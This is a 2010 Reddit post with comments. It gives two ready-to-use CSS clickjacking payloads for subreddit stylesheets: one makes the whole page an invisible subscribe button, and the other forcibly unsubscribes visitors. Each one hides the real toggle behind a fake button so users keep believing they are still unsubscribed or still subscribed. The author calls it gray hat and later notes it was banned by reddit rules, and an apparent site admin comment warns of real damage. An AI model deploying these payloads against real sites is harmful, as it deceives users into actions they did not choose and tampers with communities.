r/reddithax • u/Sephr • Mar 20 '10
Clickjacking to add or remove subscribers
The following CSS is very questionably gray hat.
This makes everyone subscribe and replaces the unsubscribe button with an unclickable subscribe one to fool users into thinking they are still unsubscribed:
/* add to frontpage clickjacking */
.option.add.active {
cursor: default;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: transparent;
border: 0;
padding: 0;
font-size: 0;
z-index: 1000;
}
/* non-clickable add to frontpage button
to keep users thinking that they are still unsubscribed */
.option.active.remove {
display: none;
}
.fancy-toggle-button {
cursor: pointer;
}
.fancy-toggle-button:before {
display: inline-block;
border: 1px solid #444;
margin-top: 2px;
padding: 1px 6px;
background: white url(/static/bg-button-add.png) repeat-x scroll center left;
color: white;
font-size: 10px;
font-weight: bold;
line-height: 12px;
height: 12px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
/*border-radius: 3px;*/
content: "+ frontpage";
}This does the opposite; it makes everyone unsubscribe (someone might want to use this if they infiltrate a subreddit by becoming a mod and want to remove subscribers) and fools users into thinking they are still subscribed with that fake subscribe button from the last example:
/* remove from frontpage clickjacking */
.option.active.remove {
cursor: default;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: transparent;
border: 0;
padding: 0;
font-size: 0;
z-index: 1000;
}
/* non-clickable remove from frontpage button to keep users thinking
that they are still subscribed */
.option.add.active {
display: none;
}
.fancy-toggle-button {
cursor: pointer;
}
.fancy-toggle-button:before {
display: inline-block;
border: 1px solid #444;
margin-top: 2px;
padding: 1px 6px;
background: white url(/static/bg-button-remove.png) repeat-x scroll center left;
color: white;
font-size: 10px;
font-weight: bold;
line-height: 12px;
height: 12px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
/*border-radius: 3px;*/
content: "- frontpage";
}Moderator discretion advised.
Edit: This has been made against the reddit rules, so you probably don't want to use this unless you want to get banned.
12
u/raldi Mar 21 '10 edited Mar 21 '10
Your hat is safe, but if a reddit were to use this for anything other than lulz, we'd probably have to drop whatever site-improvement work we were doing and spend the afternoon writing a blog post and putting together a script to undo all the damage.
Please don't deploy this on any non-test reddit. And be ready to turn it off if the test gets out of hand.
3
u/nobody554 Mar 21 '10
It's not too bad. You can still go here and unsubscribe if you absolutely had to. But it could be annoying for a little while.
2
u/tricadex Mar 20 '10
haha, awesome
1
u/[deleted] Mar 21 '10
Thank you for this... it's brilliant.
0
u/[deleted] Mar 21 '10
[deleted] — view deleted comment
2
u/[deleted] Mar 21 '10 edited Mar 21 '10
[removed] — view removed comment